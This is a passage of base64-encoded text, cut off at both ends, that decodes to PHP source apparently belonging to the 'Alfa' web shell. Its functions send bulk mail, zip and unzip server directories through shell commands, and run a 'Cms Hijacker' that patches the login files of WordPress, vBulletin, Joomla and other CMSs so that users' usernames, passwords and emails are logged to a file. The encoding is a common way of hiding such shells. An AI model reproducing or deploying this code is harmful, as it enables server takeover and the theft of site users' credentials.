FkZXJzIC49ICdSZXBseS1UbzogJy4kbWFpbF9mcm9tLicnIC4gIlxyXG4iOw0KJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04JyAuICJcclxuIjsNCiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7DQokaGVhZGVycyAuPSAnWC1NYWlsZXI6IHBocCcgLiAiXHJcbiI7DQp9DQppZihlbXB0eSgkY291bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsNCmlmKCFlbXB0eSgkbWFpbF9mcm9tKSl7ZWNobyBfX3ByZSgpOw0KZm9yKCRpPTE7JGk8PSRjb3VudF9tYWlsOyRpKyspew0KaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCwkbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7DQp9fWVsc2V7X19hbGVydCgiSW52YWxpZCBNYWlsIEZyb20gISIpO30NCn1lbHNle19fYWxlcnQoIkludmFsaWQgTWFpbCBUbyAhIik7fQ0KfQ0KZWNobygnPC9kaXY+Jyk7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhemlwZXIoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDgsOSwxMCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENvbXByZXNzb3IgfDwvZGl2PjwvcD4NCjxmb3JtIG9uU3VibWl0PSJnKFwnemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4NCjxkaXYgY2xhc3M9InR4dGZvbnQiPlNhdmUgRGlyOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InppcGZpbGUiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nYWxmYS56aXAiIHNpemU9IjYwIi8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iemlwZXIiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICgkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jykpew0KJGRpcnppcCA9ICRfUE9TVFsnYWxmYTMnXTsNCiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOw0KaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpew0KYWxmYUV4KCJwb3dlcnNoZWxsIENvbXByZXNzLUFyY2hpdmUgLVBhdGggJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyAtRGVzdGluYXRpb25QYXRoICciLmFkZHNsYXNoZXMoYmFzZW5hbWUoJHppcGZpbGUpKS4iJyIpOw0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOw0KfWVsc2VpZigkR0xPQkFMU1snc3lzJ109PSd1bml4JyYmX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7DQphbGZhRXgoImNkICciLmFkZHNsYXNoZXMoZGlybmFtZSgkemlwZmlsZSkpLiInO3ppcCAtciAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIicgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOw0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOw0KfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7DQppZihfX2FsZmF6aXBlcigkZGlyemlwLCAkemlwZmlsZSkpew0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOw0KfWVsc2V7ZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJyZWQiPkVSUk9SISEhLi4uPC9mb250PjwvcD48L2NlbnRlcj4nO30NCn0NCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBfX2FsZmF6aXBlcigkc291cmNlLCRkZXN0aW5hdGlvbil7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ3ppcCcpfHwhZmlsZV9leGlzdHMoJHNvdXJjZSkpew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCSR6aXA9bmV3IFppcEFyY2hpdmUoKTsNCglpZighJHppcC0+b3BlbigkZGVzdGluYXRpb24sWklQQVJDSElWRTo6Q1JFQVRFKSl7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJJHNvdXJjZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgkc291cmNlKSk7DQoJaWYoaXNfZGlyKCRzb3VyY2UpPT09dHJ1ZSl7DQoJCSRmaWxlcz1uZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHNvdXJjZSksUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6U0VMRl9GSVJTVCk7DQoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsNCgkJCSRmaWxlPXN0cl9yZXBsYWNlKCdcXCcsJy8nLCRmaWxlKTsNCgkJCWlmKGluX2FycmF5KHN1YnN0cigkZmlsZSxzdHJycG9zKCRmaWxlLCcvJykrMSksYXJyYXkoJy4nLCcuLicpKSljb250aW51ZTsNCgkJCSRmaWxlPXJlYWxwYXRoKCRmaWxlKTsNCgkJCWlmKGlzX2RpcigkZmlsZSk9PT10cnVlKXsNCgkJCQkkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkc291cmNlLicvJywnJywkZmlsZS4nLycpKTsNCgkJCX1lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7DQoJCQkJJHppcC0+YWRkRnJvbVN0cmluZyhzdHJfcmVwbGFjZSgkc291cmNlLicvJywnJywkZmlsZSksZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCgkJCX0NCgkJfQ0KCX1lbHNlIGlmKGlzX2ZpbGUoJHNvdXJjZSk9PT10cnVlKXsNCgkJJHppcC0+YWRkRnJvbVN0cmluZyhiYXNlbmFtZSgkc291cmNlKSxmaWxlX2dldF9jb250ZW50cygkc291cmNlKSk7DQoJfQ0KCXJldHVybiAkemlwLT5jbG9zZSgpOw0KfQ0KZnVuY3Rpb24gYWxmYWRlemlwZXIoKXsNCmFsZmFoZWFkKCk7DQpBbGZhTnVtKDgsOSwxMCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ29tcHJlc3NvciB8PC9kaXY+PC9wPg0KPGZvcm0gb25TdWJtaXQ9ImcoXCdkZXppcGVyXCcsbnVsbCxudWxsLG51bGwsdGhpcy5kaXJ6aXAudmFsdWUsdGhpcy56aXBmaWxlLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4NCjxkaXYgY2xhc3M9InR4dGZvbnQiPkZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4NCjxkaXYgY2xhc3M9InR4dGZvbnQiPkV4dHJhY3QgVG86IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciIHNpemU9IjYwIi8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iemlwZXIiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICgkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jykpew0KJGRpcnppcCA9ICRfUE9TVFsnYWxmYTMnXTsNCiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOw0KaWYoQCFpc19kaXIoJHppcGZpbGUpKXsNCglAbWtkaXIoJHppcGZpbGUsIDA3NzcsIHRydWUpOw0KfQ0KJGZpbmZvID0gIiI7DQokZmlsZV90eXBlID0gIiI7DQppZihmdW5jdGlvbl9leGlzdHMoJ2ZpbmZvX29wZW4nKSl7DQokZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOw0KJGZpbGVfdHlwZSA9IEBmaW5mb19maWxlKCRmaW5mbywgJGRpcnppcCk7DQpAZmluZm9fY2xvc2UoJGZpbmZvKTsNCn1lbHNlew0KCWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJJGZpbGVfdHlwZSA9IGFsZmFFeCgnZmlsZSAtYiAtLW1pbWUtdHlwZSAnIC4gJGRpcnppcCk7DQoJfQ0KfQ0KaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpew0KYWxmYUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD5Eb25lIC0+IDxiPjxmb250IGNvbG9yPSJncmVlbiI+Jy4kemlwZmlsZS4nPC9mb250PjwvYj48L3A+PC9jZW50ZXI+JzsNCn1lbHNlaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJiFlbXB0eSgkZmlsZV90eXBlKSYmX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSYmKHN0cmxlbihhbGZhRXgoJ3doaWNoIHVuemlwJykpID4gMHx8c3RybGVuKGFsZmFFeCgnd2hpY2ggdGFyJykpID4gMHx8c3RybGVuKGFsZmFFeCgnd2hpY2ggZ3VuemlwJykpID4gMCkpew0Kc3dpdGNoICgkZmlsZV90eXBlKSB7DQoJY2FzZSAnYXBwbGljYXRpb24vemlwJzoNCgkJYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCR6aXBmaWxlKS4iJzt1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7DQoJYnJlYWs7DQoJY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOg0KCQlpZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6Iil8fHN0cnN0cihiYXNlbmFtZSgkZGlyemlwKSwgIi50YXIiKSl7DQoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO3RhciB4emYgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOw0KCQl9ZWxzZXsNCgkJCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7Z3VuemlwICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIiciKTsNCgkJfQ0KCWJyZWFrOw0KfQ0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsNCn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpew0KCSRpdHNvayA9IGZhbHNlOw0KCWlmKGVtdHB5KCRmaWxlX3R5cGUpKXsNCgkJJGZpbGVfdHlwZSA9ICJhcHBsaWNhdGlvbi96aXAiOw0KCX0NCglzd2l0Y2ggKCRmaWxlX3R5cGUpIHsNCgkJY2FzZSAnYXBwbGljYXRpb24vemlwJzoNCgkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsNCgkJCSRyZXMgPSAkemlwLT5vcGVuKCRkaXJ6aXApOw0KCQkJaWYgKCRyZXMpIHsNCgkJCQkkemlwLT5leHRyYWN0VG8oJHppcGZpbGUpOw0KCQkJCSR6aXAtPmNsb3NlKCk7DQoJCQkJJGl0c29rID0gdHJ1ZTsNCgkJCX0NCgkJYnJlYWs7DQoJCWNhc2UgJ2FwcGxpY2F0aW9uL3gtdGFyJzogY2FzZSAnYXBwbGljYXRpb24veC1nemlwJzogY2FzZSAnYXBwbGljYXRpb24veC1ndGFyJzoNCgkJCWlmKHN0cnN0cihiYXNlbmFtZSgkZGlyemlwKSwgIi50YXIuZ3oiKSl7DQoJCQkJJG5ld19maWxlID0gJHppcGZpbGUgLicvJy4gYmFzZW5hbWUoJGRpcnppcCk7DQoJCQkJQGNvcHkoJGRpcnppcCwgJG5ld19maWxlKTsNCgkJCQkkbmV3X3RhciA9IHN0cl9yZXBsYWNlKCIudGFyLmd6IiwgIi50YXIiLCAkbmV3X2ZpbGUpOw0KCQkJCXRyeSB7DQoJCQkJCSRwID0gbmV3IFBoYXJEYXRhKCRuZXdfZmlsZSk7DQoJCQkJCSRwLT5kZWNvbXByZXNzKCk7DQoJCQkJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRuZXdfdGFyKTsNCgkJCQkJJHBoYXItPmV4dHJhY3RUbygkemlwZmlsZSk7DQoJCQkJCUB1bmxpbmsoJG5ld19maWxlKTsNCgkJCQkJQHVubGluaygkbmV3X3Rhcik7DQoJCQkJCSRpdHNvayA9IHRydWU7DQoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQkJdHJ5IHsNCgkJCQkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRpcnppcCk7DQoJCQkJCSRwaGFyLT5leHRyYWN0VG8oJHppcGZpbGUpOw0KCQkJCQkkaXRzb2sgPSB0cnVlOw0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KCQkJCX0NCgkJCX0NCgkJYnJlYWs7DQoJfQ0KaWYoJGl0c29rKXsNCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPGJyPicuJHppcGZpbGUuJzwvZm9udD4gPGEgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiR6aXBmaWxlLidcJyk7Ij5bIFZpZXcgRm9sZGVyIF08L2E+PC9wPjwvY2VudGVyPic7DQp9ZWxzZXtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQ0KfQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFjbXNoaWphY2tlcigpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oNSw2LDcsOCw5LDEwKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxicj4NCjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ21zIEhpamFja2VyIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnY21zaGlqYWNrZXJcJyxudWxsLHRoaXMuY21zaGkudmFsdWUsdGhpcy5zYXZldG8udmFsdWUsXCc+PlwnLHRoaXMuY21zcGF0aC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOw0KJGNtX2FycmF5ID0gYXJyYXkoInZiIj0+InZCdWxsZXRpbiIsIndwIj0+IndvcmRwcmVzcyIsImpvbSI9PiJqb29tbGEiLCJ3aG1jcyI9PiJ3aG1jcyIsIm15YmIiPT4ibXliYiIsImlwYiI9PiJpcGJvYXJkIiwicGhwYmIiPT4icGhwYmIiKTsNCmZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsNCmVjaG8oIjwvc2VsZWN0PiIpOw0KZWNobyAnIFBhdGggaW5zdGFsbGVkIGNtczogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbXNwYXRoIiBwbGFjZWhvbGRlcj0iZXg6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvdmJ1bGxldGluLyI+DQpTYXZlVG86IDxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0ic2F2ZXRvIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJ2FsZmEudHh0Ij48L2ZvbnQ+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQokY21zID0gJF9QT1NUWydhbGZhMSddOw0KJHNhdmV0byA9ICRfUE9TVFsnYWxmYTInXTsNCiRjbXNwYXRoID0gJF9QT1NUWydhbGZhNCddOw0KaWYoIWVtcHR5KCRjbXMpIEFORCAhZW1wdHkoJHNhdmV0bykgQU5EICRfUE9TVFsnYWxmYTQnXSBBTkQgJF9QT1NUWydhbGZhMyddID09ICc+Picpew0KZWNobyBfX3ByZSgpOw0KYWxmYUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pOw0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFIaWphY2tDbXMoJGNtcywkY21zcGF0aCwkc2F2ZXRvKXsNCnN3aXRjaCgkY21zKXsNCmNhc2UgInZiIjoNCmhpamFja3ZCdWxsZXRpbigkY21zcGF0aCwkc2F2ZXRvKTsNCmJyZWFrOw0KY2FzZSAid3AiOg0KaGlqYWNrd3AoJGNtc3BhdGgsJHNhdmV0byk7DQpicmVhazsNCmNhc2UgImpvbSI6DQpoaWphY2tKb29tbGEoJGNtc3BhdGgsJHNhdmV0byk7DQpicmVhazsNCmNhc2UgIndobWNzIjoNCmhpamFja1dobWNzKCRjbXNwYXRoLCRzYXZldG8pOw0KYnJlYWs7DQpjYXNlICJteWJiIjoNCmhpamFja015YmIoJGNtc3BhdGgsJHNhdmV0byk7DQpicmVhazsNCmNhc2UgImlwYiI6DQpoaWphY2tJUEIoJGNtc3BhdGgsJHNhdmV0byk7DQpicmVhazsNCmNhc2UgInBocGJiIjoNCmhpamFja1BIUEJCKCRjbXNwYXRoLCRzYXZldG8pOw0KYnJlYWs7DQpkZWZhdWx0Og0KZWNobyAiZXJyb3IhIjsNCmJyZWFrOw0KfQ0KfQ0KZnVuY3Rpb24gaGlqYWNrdkJ1bGxldGluKCRwYXRoLCRzYXZldG8pew0KJGNvZGU9JyRhbGZhX3VzZXJuYW1lID0gc3RydG9sb3dlcigkdmJ1bGxldGluLT5HUENbInZiX2xvZ2luX3VzZXJuYW1lIl0pOyRhbGZhX3Bhc3N3b3JkID0gJHZidWxsZXRpbi0+R1BDWyJ2Yl9sb2dpbl9wYXNzd29yZCJdOyRhbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JHNxbF9xdWVyeSA9ICR2YnVsbGV0aW4tPmRiLT5xdWVyeV9yZWFkKCJTRUxFQ1QgKiBGUk9NICIgLiBUQUJMRV9QUkVGSVggLiAidXNlciBXSEVSRSBgdXNlcm5hbWVgPVwnIiAuICRhbGZhX3VzZXJuYW1lIC4gIlwnIik7d2hpbGUoJHJvdyA9ICR2YnVsbGV0aW4tPmRiLT5mZXRjaF9hcnJheSgkc3FsX3F1ZXJ5KSl7aWYoc3RybGVuKCRhbGZhX3Bhc3N3b3JkKSA+IDEgQU5EIHN0cmxlbigkYWxmYV91c2VybmFtZSkgPiAxKXskZnAxID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwMSwgJGFsZmFfdXNlcm5hbWUgLiBcJyA6IFwnIC4gICRhbGZhX3Bhc3N3b3JkLiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIilcbiIpO0BmY2xvc2UoJGZwMSk7ICRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOw0KJGNsZWFycHcgPSAnZGVmaW5lZChcJ0RJU0FCTEVfUEFTU1dPUkRfQ0xFQVJJTkdcJyknOw0KJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOw0KJGxvZ2luID0gJHBhdGguIi9sb2dpbi5waHAiOw0KJGNsYXNzID0gJHBhdGguIi9pbmNsdWRlcy9jbGFzc19ib290c3RyYXAucGhwIjsNCiRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsNCiRldmlsX2xvZ2luID0gIlx0Ii4kY29kZS4iXG5cdCIuJGRvbG9naW47DQokZXZpbF9jbGFzcyA9ICJ0cnVlIjsNCmlmKChAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSkgfHwgKEBpc19maWxlKCRjbGFzcykgQU5EIEBpc193cml0YWJsZSgkY2xhc3MpKSl7DQokZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOw0KJGRhdGFfY2xhc3MgPSBAZmlsZV9nZXRfY29udGVudHMoJGNsYXNzKTsNCmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIHx8IHN0cnN0cigkZGF0YV9jbGFzcywgJGNsZWFycHcpKXsNCiRsb2dpbl9yZXBsYWNlID0gc3RyX3JlcGxhY2UoJGRvbG9naW4sJGV2aWxfbG9naW4sICRkYXRhX2xvZ2luKTsNCiRjbGFzc19yZXBsYWNlID0gc3RyX3JlcGxhY2UoJGNsZWFycHcsJGV2aWxfY2xhc3MsICRkYXRhX2NsYXNzKTsNCkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsNCkBmaWxlX3B1dF9jb250ZW50cygkY2xhc3MsICRjbGFzc19yZXBsYWNlKTsNCmhpamFja091dHB1dCgwLCRzYXZldG8pOw0KfWVsc2V7DQpoaWphY2tPdXRwdXQoMSk7DQp9DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn0NCmZ1bmN0aW9uIGhpamFja3dwKCRwYXRoLCRzYXZldG8pew0KJGNvZGUgPSAnJGFsZmFfZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwID0gZm9wZW4oJGFsZmFfZmlsZSwgImErIik7ZndyaXRlKCRmcCwgJF9QT1NUW1wnbG9nXCddLiIgOiAiLiRfUE9TVFtcJ3B3ZFwnXS4iICgiLigkdXNlci0+dXNlcl9lbWFpbCkuIilcbiIpO2ZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsNCiRyZWRpcmVjdF93cCA9ICcjaWZbIF17MCx9XChbIF17MCx9IVsgXXswLH1pc193cF9lcnJvclwoWyBdezAsfVwkdXNlclsgXXswLH1cKVsgXXswLH0mJlsgXXswLH0hWyBdezAsfVwkcmVhdXRoWyBdezAsfVwpWyBdezAsfXsjJzsNCiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsNCiRsb2dpbj0kcGF0aC4iL3dwLWxvZ2luLnBocCI7DQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7DQokZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOw0KaWYoQHByZWdfbWF0Y2goJHJlZGlyZWN0X3dwLCAkZGF0YV9sb2dpbiwgJG1hdGNoKSl7DQokZXZpbF9sb2dpbiA9ICJcdCIuJG1hdGNoWzBdLiJcblx0Ii4kY29kZTsNCiRsb2dpbl9yZXBsYWNlID0gQHByZWdfcmVwbGFjZSgkcmVkaXJlY3Rfd3AsJGV2aWxfbG9naW4sICRkYXRhX2xvZ2luKTsNCkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsNCmhpamFja091dHB1dCgwLCRzYXZldG8pOw0KfWVsc2V7DQpoaWphY2tPdXRwdXQoMSk7DQp9DQp9ZWxzZXsNCmhpamFja091dHB1dCgxKTsNCn0NCn0NCmZ1bmN0aW9uIGhpamFja0pvb21sYSgkcGF0aCwkc2F2ZXRvKXsNCiRjb2RlID0gJzw/cGhwIGppbXBvcnQoXCdqb29tbGEudXNlci5hdXRoZW50aWNhdGlvblwnKTskQWxmYV9hdXRoID0gJiBKQXV0aGVudGljYXRpb246OmdldEluc3RhbmNlKCk7JEFsZmFfZGF0YSA9IGFycmF5KFwndXNlcm5hbWVcJz0+JF9QT1NUW1wndXNlcm5hbWVcJ10sXCdwYXNzd29yZFwnPT4kX1BPU1RbXCdwYXNzd2RcJ10pOyRBbGZhX29wdGlvbnMgPSBhcnJheSgpOyRBbGZhX3Jlc3BvbnNlID0gJEFsZmFfYXV0aC0+YXV0aGVudGljYXRlKCRBbGZhX2RhdGEsICRBbGZhX29wdGlvbnMpO2lmKCRBbGZhX3Jlc3BvbnNlLT5zdGF0dXMgPT0gMSl7JGFsZmFfZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwPUBmb3BlbigkYWxmYV9maWxlLCJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV9yZXNwb25zZS0+dXNlcm5hbWUuIjoiLiRfUE9TVFtcJ3Bhc3N3ZFwnXS4iICggIi4kQWxmYV9yZXNwb25zZS0+ZW1haWwuIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9Pz4nOw0KJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOw0KJGNvbXA9JHBhdGguIi9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2xvZ2luLyI7DQppZihAaXNfZmlsZSgkY29tcC4iL2xvZ2luLnBocCIpKXsNCiRsb2dpbiA9ICRjb21wLiIvbG9naW4ucGhwIjsNCn1lbHNlaWYoQGlzX2ZpbGUoJGNvbXAuIi9hZG1pb